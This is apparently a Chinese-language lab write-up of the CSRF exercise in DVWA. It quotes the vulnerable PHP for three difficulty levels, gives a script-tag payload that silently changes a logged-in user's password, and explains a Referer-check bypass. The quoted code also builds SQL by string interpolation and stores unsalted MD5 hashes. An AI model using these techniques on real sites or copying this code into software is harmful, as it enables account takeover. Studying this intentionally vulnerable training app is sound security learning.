dvwa之CSRF

dvwa之CSRF

是一个修改密码的功能

把密码修改为111111的请求数据包是这样的,请求链接为http://192.168.1.110/dvwa-master/vulnerabilities/csrf/?password_new=111111&password_conf=111111&Change=Change

CSRF之low等级

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Get input
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Do the passwords match?
	if( $pass_new == $pass_conf ) {
		// They do!
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update the database
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

没有做什么防护,只要change被设置了,并且在修改密码时两次输的密码一样就可以了

准备一个changepsw.php文件 内容如下

<script src=http://192.168.1.110/dvwa-master/vulnerabilities/csrf/?password_new=123qwe&password_conf=123qwe&Change=Change></script>

在dvwa的同一个浏览器访问changepsw.php,此时dvwa用户的密码就被修改为了123qwe

可以使用123qwe成功登入
看一下具体的数据包请求流程
访问http://1992.168.1.110/changepsw.php

返回内容,其中含有恶意代码

自动访问script的src链接,密码就被修改了

CSRF之medium等级

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Checks to see where the request came from
	if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
		// Get input
		$pass_new  = $_GET[ 'password_new' ];
		$pass_conf = $_GET[ 'password_conf' ];

		// Do the passwords match?
		if( $pass_new == $pass_conf ) {
			// They do!
			$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
			$pass_new = md5( $pass_new );

			// Update the database
			$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
			$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

			// Feedback for the user
			$html .= "<pre>Password Changed.</pre>";
		}
		else {
			// Issue with passwords matching
			$html .= "<pre>Passwords did not match.</pre>";
		}
	}
	else {
		// Didn't come from a trusted source
		$html .= "<pre>That request didn't look correct.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

medium等级比low等级增加了一个判断语句if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
stripos返回第二个字符串在第一个字符串中第一次出现的下标，如果没有找到字符串则返回 FALSE。
所以 只有 http_referer里包含有 运行dvwa服务器的ip地址，&_SERVER[‘SERVER_NAME’]是http请求里的host参数,才可以满足修改密码的条件,代码意图为 希望发起修改密码请求的来源网站时dvwa服务器运行的网页
此时 按照low等级方法已经不行了

可以把恶意网页的名字changepsw.php改为服务器ip,php就可以成功修改密码了
CSRF之high等级

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Do the passwords match?
	if( $pass_new == $pass_conf ) {
		// They do!
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update the database
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

检查了token，token是每次都会变的,但是只有拿到每次的token才可以修改密码,好了 我不会了 。。。